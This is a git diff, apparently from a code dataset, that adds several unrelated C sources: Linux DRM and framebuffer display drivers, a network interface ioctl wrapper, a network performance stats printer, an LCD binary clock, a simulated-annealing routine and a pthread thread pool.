+#include <linux/module.h>
+#include <linux/of_reserved_mem.h>
+#include <linux/platform_device.h>
+
+#include "arcpgu.h"
+#include "arcpgu_regs.h"
+
+static const struct drm_mode_config_funcs arcpgu_drm_modecfg_funcs = {
+	.fb_create  = drm_gem_fb_create,
+	.atomic_check = drm_atomic_helper_check,
+	.atomic_commit = drm_atomic_helper_commit,
+};
+
+static void arcpgu_setup_mode_config(struct drm_device *drm)
+{
+	drm_mode_config_init(drm);
+	drm->mode_config.min_width = 0;
+	drm->mode_config.min_height = 0;
+	drm->mode_config.max_width = 1920;
+	drm->mode_config.max_height = 1080;
+	drm->mode_config.funcs = &arcpgu_drm_modecfg_funcs;
+}
+
+DEFINE_DRM_GEM_CMA_FOPS(arcpgu_drm_ops);
+
+static int arcpgu_load(struct drm_device *drm)
+{
+	struct platform_device *pdev = to_platform_device(drm->dev);
+	struct arcpgu_drm_private *arcpgu;
+	struct device_node *encoder_node = NULL, *endpoint_node = NULL;
+	struct resource *res;
+	int ret;
+
+	arcpgu = devm_kzalloc(&pdev->dev, sizeof(*arcpgu), GFP_KERNEL);
+	if (arcpgu == NULL)
+		return -ENOMEM;
+
+	drm->dev_private = arcpgu;
+
+	arcpgu->clk = devm_clk_get(drm->dev, "pxlclk");
+	if (IS_ERR(arcpgu->clk))
+		return PTR_ERR(arcpgu->clk);
+
+	arcpgu_setup_mode_config(drm);
+
+	res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
+	arcpgu->regs = devm_ioremap_resource(&pdev->dev, res);
+	if (IS_ERR(arcpgu->regs))
+		return PTR_ERR(arcpgu->regs);
+
+	dev_info(drm->dev, "arc_pgu ID: 0x%x\n",
+		 arc_pgu_read(arcpgu, ARCPGU_REG_ID));
+
+	/* Get the optional framebuffer memory resource */
+	ret = of_reserved_mem_device_init(drm->dev);
+	if (ret && ret != -ENODEV)
+		return ret;
+
+	if (dma_set_mask_and_coherent(drm->dev, DMA_BIT_MASK(32)))
+		return -ENODEV;
+
+	if (arc_pgu_setup_crtc(drm) < 0)
+		return -ENODEV;
+
+	/*
+	 * There is only one output port inside each device. It is linked with
+	 * encoder endpoint.
+	 */
+	endpoint_node = of_graph_get_next_endpoint(pdev->dev.of_node, NULL);
+	if (endpoint_node) {
+		encoder_node = of_graph_get_remote_port_parent(endpoint_node);
+		of_node_put(endpoint_node);
+	}
+
+	if (encoder_node) {
+		ret = arcpgu_drm_hdmi_init(drm, encoder_node);
+		of_node_put(encoder_node);
+		if (ret < 0)
+			return ret;
+	} else {
+		dev_info(drm->dev, "no encoder found. Assumed virtual LCD on simulation platform\n");
+		ret = arcpgu_drm_sim_init(drm, NULL);
+		if (ret < 0)
+			return ret;
+	}
+
+	drm_mode_config_reset(drm);
+	drm_kms_helper_poll_init(drm);
+
+	platform_set_drvdata(pdev, drm);
+	return 0;
+}
+
+static int arcpgu_unload(struct drm_device *drm)
+{
+	drm_kms_helper_poll_fini(drm);
+	drm_atomic_helper_shutdown(drm);
+	drm_mode_config_cleanup(drm);
+
+	return 0;
+}
+
+#ifdef CONFIG_DEBUG_FS
+static int arcpgu_show_pxlclock(struct seq_file *m, void *arg)
+{
+	struct drm_info_node *node = (struct drm_info_node *)m->private;
+	struct drm_device *drm = node->minor->dev;
+	struct arcpgu_drm_private *arcpgu = drm->dev_private;
+	unsigned long clkrate = clk_get_rate(arcpgu->clk);
+	unsigned long mode_clock = arcpgu->crtc.mode.crtc_clock * 1000;
+
+	seq_printf(m, "hw  : %lu\n", clkrate);
+	seq_printf(m, "mode: %lu\n", mode_clock);
+	return 0;
+}
+
+static struct drm_info_list arcpgu_debugfs_list[] = {
+	{ "clocks", arcpgu_show_pxlclock, 0 },
+};
+
+static void arcpgu_debugfs_init(struct drm_minor *minor)
+{
+	drm_debugfs_create_files(arcpgu_debugfs_list,
+				 ARRAY_SIZE(arcpgu_debugfs_list),
+				 minor->debugfs_root, minor);
+}
+#endif
+
+static struct drm_driver arcpgu_drm_driver = {
+	.driver_features = DRIVER_MODESET | DRIVER_GEM | DRIVER_ATOMIC,
+	.name = "arcpgu",
+	.desc = "ARC PGU Controller",
+	.date = "20160219",
+	.major = 1,
+	.minor = 0,
+	.patchlevel = 0,
+	.fops = &arcpgu_drm_ops,
+	DRM_GEM_CMA_DRIVER_OPS,
+#ifdef CONFIG_DEBUG_FS
+	.debugfs_init = arcpgu_debugfs_init,
+#endif
+};
+
+static int arcpgu_probe(struct platform_device *pdev)
+{
+	struct drm_device *drm;
+	int ret;
+
+	drm = drm_dev_alloc(&arcpgu_drm_driver, &pdev->dev);
+	if (IS_ERR(drm))
+		return PTR_ERR(drm);
+
+	ret = arcpgu_load(drm);
+	if (ret)
+		goto err_unref;
+
+	ret = drm_dev_register(drm, 0);
+	if (ret)
+		goto err_unload;
+
+	drm_fbdev_generic_setup(drm, 16);
+
+	return 0;
+
+err_unload:
+	arcpgu_unload(drm);
+
+err_unref:
+	drm_dev_put(drm);
+
+	return ret;
+}
+
+static int arcpgu_remove(struct platform_device *pdev)
+{
+	struct drm_device *drm = platform_get_drvdata(pdev);
+
+	drm_dev_unregister(drm);
+	arcpgu_unload(drm);
+	drm_dev_put(drm);
+
+	return 0;
+}
+
+static const struct of_device_id arcpgu_of_table[] = {
+	{.compatible = "snps,arcpgu"},
+	{}
+};
+
+MODULE_DEVICE_TABLE(of, arcpgu_of_table);
+
+static struct platform_driver arcpgu_platform_driver = {
+	.probe = arcpgu_probe,
+	.remove = arcpgu_remove,
+	.driver = {
+		   .name = "arcpgu",
+		   .of_match_table = arcpgu_of_table,
+		   },
+};
+
+module_platform_driver(arcpgu_platform_driver);
+
+MODULE_AUTHOR("Carlos Palminha <palminha@synopsys.com>");
+MODULE_DESCRIPTION("ARC PGU DRM driver");
+MODULE_LICENSE("GPL");
diff --git a/pool/shard001/C/0026046_net_ifmgr_ncl.c b/pool/shard001/C/0026046_net_ifmgr_ncl.c
new file mode 100644
index 0000000000000000000000000000000000000000..9670542cff3925e93ae88291baf9ab1d8e0bd897
--- /dev/null
+++ b/pool/shard001/C/0026046_net_ifmgr_ncl.c
@@ -0,0 +1,63 @@
+#include <stdlib.h>
+#include <string.h>
+#include "net_ifmgr_ncl.h"
+#include "imports.h"
+#include "svc.h"
+
+static int ifmgrncl_handle = 0;
+
+int ifmgrnclInit()
+{
+	if(ifmgrncl_handle) return ifmgrncl_handle;
+
+	int ret = svcOpen("/dev/net/ifmgr/ncl", 0);
+
+	if(ret > 0)
+	{
+		ifmgrncl_handle = ret;
+		return ifmgrncl_handle;
+	}
+
+	return ret;
+}
+
+int ifmgrnclExit()
+{
+	int ret = svcClose(ifmgrncl_handle);
+
+	ifmgrncl_handle = 0;
+
+	return ret;
+}
+
+static void* allocIobuf(u32 size)
+{
+	void* ptr = svcAlloc(0xCAFF, size);
+
+	if(ptr) memset(ptr, 0x00, size);
+
+	return ptr;
+}
+
+static void freeIobuf(void* ptr)
+{
+	svcFree(0xCAFF, ptr);
+}
+
+int	IFMGRNCL_GetInterfaceStatus(u16 interface_id, u16* out_status)
+{
+	u8* iobuf1 = allocIobuf(0x2);
+	u16* inbuf = (u16*)iobuf1;
+	u8* iobuf2 = allocIobuf(0x8);
+	u16* outbuf = (u16*)iobuf2;
+
+	inbuf[0] = interface_id;
+
+	int ret = svcIoctl(ifmgrncl_handle, 0x14, inbuf, 0x2, outbuf, 0x8);
+
+	if(!ret && out_status) *out_status = outbuf[2];
+
+	freeIobuf(iobuf1);
+	freeIobuf(iobuf2);
+	return ret;
+}
diff --git a/pool/shard001/C/0026054_shmob_drm_kms.c b/pool/shard001/C/0026054_shmob_drm_kms.c
new file mode 100644
index 0000000000000000000000000000000000000000..2e08bc203bf9437cf618a719aa88de92c3d8dd86
--- /dev/null
+++ b/pool/shard001/C/0026054_shmob_drm_kms.c
@@ -0,0 +1,147 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * shmob_drm_kms.c  --  SH Mobile DRM Mode Setting
+ *
+ * Copyright (C) 2012 Renesas Electronics Corporation
+ *
+ * Laurent Pinchart (laurent.pinchart@ideasonboard.com)
+ */
+
+#include <drm/drmP.h>
+#include <drm/drm_crtc.h>
+#include <drm/drm_crtc_helper.h>
+#include <drm/drm_fb_cma_helper.h>
+#include <drm/drm_gem_cma_helper.h>
+#include <drm/drm_gem_framebuffer_helper.h>
+#include <drm/drm_probe_helper.h>
+
+#include "shmob_drm_crtc.h"
+#include "shmob_drm_drv.h"
+#include "shmob_drm_kms.h"
+#include "shmob_drm_regs.h"
+
+/* -----------------------------------------------------------------------------
+ * Format helpers
+ */
+
+static const struct shmob_drm_format_info shmob_drm_format_infos[] = {
+	{
+		.fourcc = DRM_FORMAT_RGB565,
+		.bpp = 16,
+		.yuv = false,
+		.lddfr = LDDFR_PKF_RGB16,
+	}, {
+		.fourcc = DRM_FORMAT_RGB888,
+		.bpp = 24,
+		.yuv = false,
+		.lddfr = LDDFR_PKF_RGB24,
+	}, {
+		.fourcc = DRM_FORMAT_ARGB8888,
+		.bpp = 32,
+		.yuv = false,
+		.lddfr = LDDFR_PKF_ARGB32,
+	}, {
+		.fourcc = DRM_FORMAT_NV12,
+		.bpp = 12,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_420,
+	}, {
+		.fourcc = DRM_FORMAT_NV21,
+		.bpp = 12,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_420,
+	}, {
+		.fourcc = DRM_FORMAT_NV16,
+		.bpp = 16,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_422,
+	}, {
+		.fourcc = DRM_FORMAT_NV61,
+		.bpp = 16,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_422,
+	}, {
+		.fourcc = DRM_FORMAT_NV24,
+		.bpp = 24,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_444,
+	}, {
+		.fourcc = DRM_FORMAT_NV42,
+		.bpp = 24,
+		.yuv = true,
+		.lddfr = LDDFR_CC | LDDFR_YF_444,
+	},
+};
+
+const struct shmob_drm_format_info *shmob_drm_format_info(u32 fourcc)
+{
+	unsigned int i;
+
+	for (i = 0; i < ARRAY_SIZE(shmob_drm_format_infos); ++i) {
+		if (shmob_drm_format_infos[i].fourcc == fourcc)
+			return &shmob_drm_format_infos[i];
+	}
+
+	return NULL;
+}
+
+/* -----------------------------------------------------------------------------
+ * Frame buffer
+ */
+
+static struct drm_framebuffer *
+shmob_drm_fb_create(struct drm_device *dev, struct drm_file *file_priv,
+		    const struct drm_mode_fb_cmd2 *mode_cmd)
+{
+	const struct shmob_drm_format_info *format;
+
+	format = shmob_drm_format_info(mode_cmd->pixel_format);
+	if (format == NULL) {
+		dev_dbg(dev->dev, "unsupported pixel format %08x\n",
+			mode_cmd->pixel_format);
+		return ERR_PTR(-EINVAL);
+	}
+
+	if (mode_cmd->pitches[0] & 7 || mode_cmd->pitches[0] >= 65536) {
+		dev_dbg(dev->dev, "invalid pitch value %u\n",
+			mode_cmd->pitches[0]);
+		return ERR_PTR(-EINVAL);
+	}
+
+	if (format->yuv) {
+		unsigned int chroma_cpp = format->bpp == 24 ? 2 : 1;
+
+		if (mode_cmd->pitches[1] != mode_cmd->pitches[0] * chroma_cpp) {
+			dev_dbg(dev->dev,
+				"luma and chroma pitches do not match\n");
+			return ERR_PTR(-EINVAL);
+		}
+	}
+
+	return drm_gem_fb_create(dev, file_priv, mode_cmd);
+}
+
+static const struct drm_mode_config_funcs shmob_drm_mode_config_funcs = {
+	.fb_create = shmob_drm_fb_create,
+};
+
+int shmob_drm_modeset_init(struct shmob_drm_device *sdev)
+{
+	drm_mode_config_init(sdev->ddev);
+
+	shmob_drm_crtc_create(sdev);
+	shmob_drm_encoder_create(sdev);
+	shmob_drm_connector_create(sdev, &sdev->encoder.encoder);
+
+	drm_kms_helper_poll_init(sdev->ddev);
+
+	sdev->ddev->mode_config.min_width = 0;
+	sdev->ddev->mode_config.min_height = 0;
+	sdev->ddev->mode_config.max_width = 4095;
+	sdev->ddev->mode_config.max_height = 4095;
+	sdev->ddev->mode_config.funcs = &shmob_drm_mode_config_funcs;
+
+	drm_helper_disable_unused_functions(sdev->ddev);
+
+	return 0;
+}
diff --git a/pool/shard001/C/0026057_csperf_stats.c b/pool/shard001/C/0026057_csperf_stats.c
new file mode 100644
index 0000000000000000000000000000000000000000..701ff2af8e520144367325fadce84a4aecf58ae0
--- /dev/null
+++ b/pool/shard001/C/0026057_csperf_stats.c
@@ -0,0 +1,78 @@
+/*
+*    Copyright (C) 2015 Nikhil AP 
+*
+*    This program is free software: you can redistribute it and/or modify
+*    it under the terms of the GNU General Public License as published by
+*    the Free Software Foundation, either version 3 of the License, or
+*    (at your option) any later version.
+*
+*    This program is distributed in the hope that it will be useful,
+*    but WITHOUT ANY WARRANTY; without even the implied warranty of
+*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+*    GNU General Public License for more details.
+*
+*    You should have received a copy of the GNU General Public License
+*    along with this program.  If not, see <http://www.gnu.org/licenses/>.
+*/
+
+#include <stdio.h>
+#include <stdarg.h>
+
+#include "csperf_stats.h"
+#include "csperf_common.h"
+
+const char header[] =
+"Cycle    Bytes_sent    Bytes_Received    Blocks_sent    Blocks_received    "
+"Time_to_process(ms)    Mark_sent_time    Mark_received_time\n";
+
+const char seperator_line[] =
+"------------------------------------------------------------------------"
+"------------------------------------------------------------\n";
+
+void
+csperf_stats_printf(FILE *fd, const char *format, ...)
+{
+    /* Write to file */
+    va_list args;
+
+    va_start(args, format);
+    if (fd) {
+        vfprintf(fd, format, args);
+    }
+    va_end(args);
+
+    /* Write to stdout */
+    va_start(args, format);
+    vfprintf(stdout, format, args);
+    va_end(args);
+}
+
+void
+ansperf_stats_display(csperf_stats_t *stats, FILE *fd)
+{
+    static int header_displayed = 0;
+    static int cycle = 0;
+    char total_bytes_sent_str[50];
+    char total_bytes_recv_str[50];
+
+    if (!stats) {
+        return;
+    }
+    
+    if (!header_displayed) {
+        csperf_stats_printf(fd, "%s%s", header, seperator_line);
+        header_displayed = 1;
+    }
+
+    csperf_common_calculate_size(total_bytes_sent_str,
+            stats->total_bytes_sent);
+    csperf_common_calculate_size(total_bytes_recv_str,
+            stats->total_bytes_received);
+
+    csperf_stats_printf(fd, "%3d   %15s    %10s    %10zu    %10zu    %10zu       %10s    "
+            "%10s\n\n", ++cycle,
+            total_bytes_sent_str, total_bytes_recv_str,
+            stats->total_blocks_sent, stats->total_blocks_received,
+            stats->time_to_process_data,
+            stats->mark_sent_time, stats->mark_received_time);
+}
diff --git a/pool/shard001/C/0026063_bcdclock.c b/pool/shard001/C/0026063_bcdclock.c
new file mode 100644
index 0000000000000000000000000000000000000000..02cf3d533bb90d1b0359f307e1c19c5c6373805f
--- /dev/null
+++ b/pool/shard001/C/0026063_bcdclock.c
@@ -0,0 +1,113 @@
+/* bcdclock (C) 2001 by Ge0rG
+
+   das ist eine BCD-Uhr. Die Uhr zeigt HH:MM:SS in Binärdarstellung an,
+   jede Ziffer entspricht einer Spalte am Bildschirm. Viel Spass beim
+   ablesen...
+
+   Ach ja, dieses Programm unterliegt der GPL, also nix klauen ;o)
+*/
+
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/types.h>
+#include <time.h>
+#include <unistd.h>
+
+#include <dbox/lcd-ks0713.h>
+
+typedef unsigned char screen_t[LCD_BUFFER_SIZE];
+
+int lcd_fd;
+
+void clr() {
+	if (ioctl(lcd_fd,LCD_IOCTL_CLEAR) < 0) {
+		perror("clr()");
+		exit(1);
+	}
+}
+
+void init() {
+	int i;
+	if ((lcd_fd = open("/dev/dbox/lcd0",O_RDWR)) < 0) {
+		perror("open(/dev/dbox/lcd0)");
+		exit(1);
+	}
+	clr();
+
+	i = LCD_MODE_BIN;
+	if (ioctl(lcd_fd,LCD_IOCTL_ASC_MODE,&i) < 0) {
+		perror("init(LCD_MODE_BIN)");
+		exit(1);
+	}
+}
+
+void draw_screen(screen_t s) {
+	write(lcd_fd, s, LCD_BUFFER_SIZE);
+}
+
+
+static unsigned char led[2][2][16] =
+  {
+	{ { 0, 224, 16, 8, 4, 2, 2, 2, 2, 2, 4, 8, 16, 224, 0 },
+	  { 0, 7, 8, 16, 32, 64, 64, 64, 72, 68, 34, 16, 8, 7, 0 } },
+
+	{ { 0, 224, 240, 248, 252-32, 254-16, 254, 254, 254, 254, 252, 248, 240, 224, 0 },
+	  { 0, 7, 15, 31, 63, 127, 127, 127, 127, 127, 63, 31, 15, 7, 0 } },
+  };
+
+
+void render_nibble(int row, int val, screen_t s) {
+	int x, b, bit;
+	for (b=0; b<4; b++) {
+		bit = ((val & (1<<(3-b)))!=0);
+		for (x=0; x<16; x++) {
+			s[b*2*LCD_COLS + row + x] = led[bit][0][x];
+			s[(b*2+1)*LCD_COLS + row + x] = led[bit][1][x];
+		}
+	}
+}
+
+void render_clock(screen_t s) {
+        struct timeval tb;
+        struct tm *t;
+        gettimeofday(&tb, NULL);
+	t = localtime(&tb.tv_sec);
+
+	memset(s, 0, LCD_BUFFER_SIZE);
+
+	render_nibble(  0, t->tm_hour / 10, s);
+	render_nibble( 16, t->tm_hour % 10, s);
+
+	render_nibble( 44, t->tm_min / 10, s);
+	render_nibble( 60, t->tm_min % 10, s);
+
+	render_nibble( 88, t->tm_sec / 10, s);
+	render_nibble(104, t->tm_sec % 10, s);
+
+	s[2*LCD_COLS + 32 + 5] = 24;
+	s[2*LCD_COLS + 32 + 6] = 24;
+	s[5*LCD_COLS + 32 + 5] = 24;
+	s[5*LCD_COLS + 32 + 6] = 24;
+
+	s[2*LCD_COLS + 76 + 5] = 24;
+	s[2*LCD_COLS + 76 + 6] = 24;
+	s[5*LCD_COLS + 76 + 5] = 24;
+	s[5*LCD_COLS + 76 + 6] = 24;
+
+}
+
+int main(int argc, char *args[]) {
+	screen_t screen;
+
+	init();
+	while (1) {
+		render_clock(screen);
+		draw_screen(screen);
+		sleep(1);
+	}
+	clr();
+	return 0;
+}
diff --git a/pool/shard001/C/0026067_anneal.c b/pool/shard001/C/0026067_anneal.c
new file mode 100644
index 0000000000000000000000000000000000000000..9b3a5fe8f94751be636a44aea8b1f11a16ab3b7e
--- /dev/null
+++ b/pool/shard001/C/0026067_anneal.c
@@ -0,0 +1,164 @@
+/*
+  Copyright (c) 2011 Cisco and/or its affiliates.
+
+  * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+*/
+
+#include <vppinfra/anneal.h>
+
+/*
+ * Optimize an objective function by simulated annealing
+ * 
+ * Here are a couple of short, easily-understood
+ * descriptions of simulated annealing:
+ *
+ * http://www.cs.sandia.gov/opt/survey/sa.html
+ * Numerical Recipes in C, 2nd ed., 444ff
+ *
+ * The description in the Wikipedia is not helpful.
+ *
+ * The algorithm tries to produce a decent answer to combinatorially
+ * explosive optimization problems by analogy to slow cooling
+ * of hot metal, aka annealing.
+ *
+ * There are (at least) three problem-dependent annealing parameters
+ * to consider: 
+ *
+ * t0, the initial "temperature. Should be set so that the probability
+ * of accepting a transition to a higher cost configuration is 
+ * initially about 0.8.
+ *
+ * ntemps, the number of temperatures to use. Each successive temperature
+ * is some fraction of the previous temperature.
+ *
+ * nmoves_per_temp, the number of configurations to try at each temperature
+ *
+ * It is a black art to set ntemps, nmoves_per_temp, and the rate
+ * at which the temperature drops. Go too fast with too few iterations,
+ * and the computation falls into a local minimum instead of the
+ * (desired) global minimum.
+ */
+
+void clib_anneal (clib_anneal_param_t * p)
+{
+  f64 t;
+  f64 cost, prev_cost, delta_cost, initial_cost, best_cost;
+  f64 random_accept, delta_cost_over_t;
+  f64 total_increase=0.0, average_increase;
+  u32 i, j;
+  u32 number_of_increases = 0;
+  u32 accepted_this_temperature;
+  u32 best_saves_this_temperature;
+  int accept;
+    
+  t = p->initial_temperature;
+  best_cost = initial_cost = prev_cost = p->anneal_metric (p->opaque);
+  p->anneal_save_best_configuration (p->opaque);
+
+  if (p->flags & CLIB_ANNEAL_VERBOSE)
+    fformat(stdout, "Initial cost %.2f\n", initial_cost);
+
+  for (i = 0; i < p->number_of_temperatures; i++) 
+    {
+      accepted_this_temperature = 0;
+      best_saves_this_temperature = 0;
+      
+      p->anneal_restore_best_configuration (p->opaque);
+      cost = best_cost;
+
+      for (j = 0; j < p->number_of_configurations_per_temperature; j++) 
+        {
+          p->anneal_new_configuration (p->opaque);
+          cost = p->anneal_metric (p->opaque);
+
+          delta_cost = cost - prev_cost;
+
+          /* cost function looks better, accept this move */
+          if (p->flags & CLIB_ANNEAL_MINIMIZE)
+              accept = delta_cost < 0.0;
+          else
+              accept = delta_cost > 0.0;
+
+          if (accept)
+            {
+              if (p->flags & CLIB_ANNEAL_MINIMIZE)
+                if (cost < best_cost)
+                  {
+                    if (p->flags & CLIB_ANNEAL_VERBOSE)
+                      fformat (stdout, "New best cost %.2f\n", cost);
+                    best_cost = cost;
+                    p->anneal_save_best_configuration (p->opaque);
+                    best_saves_this_temperature++;
+                  }
+
+              accepted_this_temperature++;
+              prev_cost = cost;
+              continue;
+            }
+
+          /* cost function worse, keep stats to suggest t0 */
+          total_increase += (p->flags & CLIB_ANNEAL_MINIMIZE) ? 
+            delta_cost : -delta_cost;
+
+          number_of_increases++;
+
+          /* 
+           * Accept a higher cost with Pr { e^(-(delta_cost / T)) }, 
+           * equivalent to rnd[0,1] < e^(-(delta_cost / T))
+           * 
+           * AKA, the Boltzmann factor.
+           */
+          random_accept = random_f64 (&p->random_seed);
+
+          delta_cost_over_t = delta_cost / t;
+          
+          if (random_accept < exp (-delta_cost_over_t))
+            {
+              accepted_this_temperature++;
+              prev_cost = cost;
+              continue;
+            }
+          p->anneal_restore_previous_configuration (p->opaque);
+        }
+
+      if (p->flags & CLIB_ANNEAL_VERBOSE)
+        {
+          fformat (stdout, "Temp %.2f, cost %.2f, accepted %d, bests %d\n", t, 
+                   prev_cost, accepted_this_temperature, 
+                   best_saves_this_temperature);
+          fformat (stdout, "Improvement %.2f\n", initial_cost - prev_cost);
+          fformat (stdout, "-------------\n");
+        }
+      
+      t = t * p->temperature_step;
+    }
+
+  /* 
+   * Empirically, one wants the probability of accepting a move
+   * at the initial temperature to be about 0.8.
+   */
+  average_increase = total_increase / (f64) number_of_increases;
+  p->suggested_initial_temperature = 
+    average_increase / 0.22 ; /* 0.22 = -ln (0.8) */
+
+  p->final_temperature = t;
+  p->final_metric = p->anneal_metric (p->opaque);
+  
+  if (p->flags & CLIB_ANNEAL_VERBOSE)
+    {
+      fformat (stdout, "Average cost increase from a bad move: %.2f\n", 
+               average_increase);
+      fformat (stdout, "Suggested t0 = %.2f\n", 
+               p->suggested_initial_temperature);
+    }
+}
diff --git a/pool/shard001/C/0026069_threadpool.c b/pool/shard001/C/0026069_threadpool.c
new file mode 100644
index 0000000000000000000000000000000000000000..865e25eb3512627f3f72e5b1329b5db12b678c53
--- /dev/null
+++ b/pool/shard001/C/0026069_threadpool.c
@@ -0,0 +1,200 @@
+/*
+ * foo-tools, a collection of utilities for glftpd users.
+ * Copyright (C) 2003  Tanesha FTPD Project, www.tanesha.net
+ *
+ * This file is part of foo-tools.
+ *
+ * foo-tools is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * foo-tools is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with foo-tools; if not, write to the Free Software
+ * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ */
+
+#include "threadpool.h"
+
+/*
+ * A sample proc that does absolutely nothing :)
+ */
+void threadpool_donothing_proc(void *args) {
+	printf("Doing nothing..\n");
+
+	sleep(1);
+
+	printf("Done doing nothing ..\n");
+
+	return;
+}
+
+
+static void _threadpool_cleanup(void *m) {
+
+}
+
+/*
+ * gets number of runners in pool.
+ */
+int _threadpool_runner_count(threadpool_runner_t *r) {
+	if (r)
+		return 1 + _threadpool_runner_count(r->next);
+	else
+		return 0;
+}
+
+/*
+ * gets a free runner.
+ */
+threadpool_runner_t * _threadpool_get_free(threadpool_t *pool) {
+	threadpool_runner_t *tmp;
+
+	for (tmp = pool->runners; tmp; tmp = tmp->next)
+		if (tmp->request == 0)
+			break;
+
+	return tmp;
+}
+
+/*
+ * waiting loop.
+ */ 
+void *_threadpool_wait_loop(void *args) {
+	threadpool_runner_t *ctx;
+
+	ctx = (threadpool_runner_t*)args;
+
+	// set some thread params.
+	pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, NULL);
+	pthread_setcanceltype(PTHREAD_CANCEL_DEFERRED, NULL);
+
+	// free mutex if smth happens.
+	pthread_cleanup_push(_threadpool_cleanup, (void*)&ctx->mutex);
+
+	pthread_mutex_lock(&ctx->mutex);
+
+	while (1) {
+
+		if (ctx->request) {
+
+			pthread_mutex_unlock(&ctx->mutex);
+
+			// call the pool threadproc with the request.
+			ctx->pool->thread_proc(ctx->request);
+
+			// remove the request from pool again.
+			pthread_mutex_lock(&ctx->pool->mutex);
+			free(ctx->request);
+			ctx->request = 0;
+			pthread_mutex_unlock(&ctx->pool->mutex);
+
+			pthread_mutex_lock(&ctx->mutex);
+
+		} else
+			// no req yet, wait for notification.
+			pthread_cond_wait(&ctx->cond, &ctx->mutex);
+	}
+
+	pthread_cleanup_pop(0);
+
+	return;
+}
+
+
+threadpool_runner_t * _threadpool_runner_add(threadpool_t *pool) {
+	threadpool_runner_t *r = (threadpool_runner_t*)malloc(sizeof(threadpool_runner_t));
+
+#ifdef DEBUG
+	printf("Threadpool -> Adding runner [pool-size:%d+1]\n", _threadpool_runner_count(pool->runners));
+#endif
+
+	r->pool = pool;
+	r->request = 0;
+
+	pthread_mutex_init(&r->mutex, 0);
+	pthread_cond_init(&r->cond, 0);
+
+	r->next = pool->runners;
+
+	pool->runners = r;
+
+	pthread_create(&r->thread, 0, _threadpool_wait_loop, r);
+
+	return r;
+}
+
+
+/*
+ *
+ */
+int threadpool_initialize(threadpool_t *pool, int min, int max) {
+	int i;
+
+	pool->runners = 0;
+	pool->min = min;
+	pool->max = max;
+	pool->thread_proc = threadpool_donothing_proc;
+
+	pthread_mutex_init(&pool->mutex, 0);
+
+	// start up the min runners.
+	for (i = 0; i < min; i++)
+		_threadpool_runner_add(pool);
+}
+
+/*
+ * Sets the thread-proc to use for new requests to pool
+ */
+int threadpool_set_proc(threadpool_t *pool, void (*proc)(void *args)) {
+	pool->thread_proc = proc;
+}
+
+/*
+ * Gives work to a runner thread.
+ */
+int threadpool_set_work(threadpool_t *pool, void *arg) {
+	threadpool_runner_t *r;
+
+#ifdef DEBUG
+	printf("Threadpool -> Adding work ..\n");
+#endif
+
+	pthread_mutex_lock(&pool->mutex);
+
+	r = _threadpool_get_free(pool);
+
+	// if no free runner, but pool is not full, then create new runner.
+	if (!r) {
+		if (_threadpool_runner_count(pool->runners) < pool->max)
+			r = _threadpool_runner_add(pool);
+		else {
+			pthread_mutex_unlock(&pool->mutex);
+
+			return TP_ERROR_FULL;
+		}
+	}
+
+	r->request = arg;
+
+	pthread_mutex_unlock(&pool->mutex);
+
+#ifdef DEBUG
+	printf("Threadpool -> Waking up a sleeping runner [req:%lu]\n", arg);
+#endif
+
+	// signal that there is work for this runner.
+	pthread_cond_signal(&r->cond);
+
+	return 1;
+}
+
+int threadpool_get_busy(threadpool_t *pool) {
+
+	return 0;
+}
diff --git a/pool/shard001/C/0026071_hy28fb.c b/pool/shard001/C/0026071_hy28fb.c
new file mode 100644
index 0000000000000000000000000000000000000000..24318eed49068bf2e30e156adc3546089790a162
--- /dev/null
+++ b/pool/shard001/C/0026071_hy28fb.c
@@ -0,0 +1,210 @@
+/*
+ * Framebuffer driver for the HY28A and HY28B displays
+ *
+ * Copyright 2015 Noralf Trønnes
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ */
+
+#include <linux/delay.h>
+#include <linux/module.h>
+#include <linux/of_device.h>
+#include <linux/spi/spi.h>
+#include <video/fbtft/lcdctrl.h>
+#include <video/fbtft/lcdreg.h>
+#include <video/fbtft/ili9320.h>
+
+#include "fbtft.h"
+
+enum hy28_displays {
+	HY28A,
+	HY28B,
+};
+
+static int hy28a_poweron(struct lcdctrl *ctrl)
+{
+	struct lcdreg *reg = ctrl->lcdreg;
+	int ret;
+
+	pr_info("%s()\n", __func__);
+
+	lcdreg_reset(reg);
+
+	lcdctrl_check(ctrl, 0x9320);
+
+	/* Initialization sequence from ILI9320 Application Notes */
+
+	/* *********** Start Initial Sequence ********* */
+	/* Set the Vcore voltage and this setting is must. */
+	ret = lcdreg_writereg(reg, 0x00E5, 0x8000);
+	if (ret) {
+		dev_err(reg->dev, "lcdreg_writereg failed: %d\n", ret);
+		return ret;
+	}
+	/* Start internal OSC. */
+	lcdreg_writereg(reg, 0x0000, 0x0001);
+	/* set SS and SM bit */
+	lcdreg_writereg(reg, 0x0001, 0x0100);
+	/* set 1 line inversion */
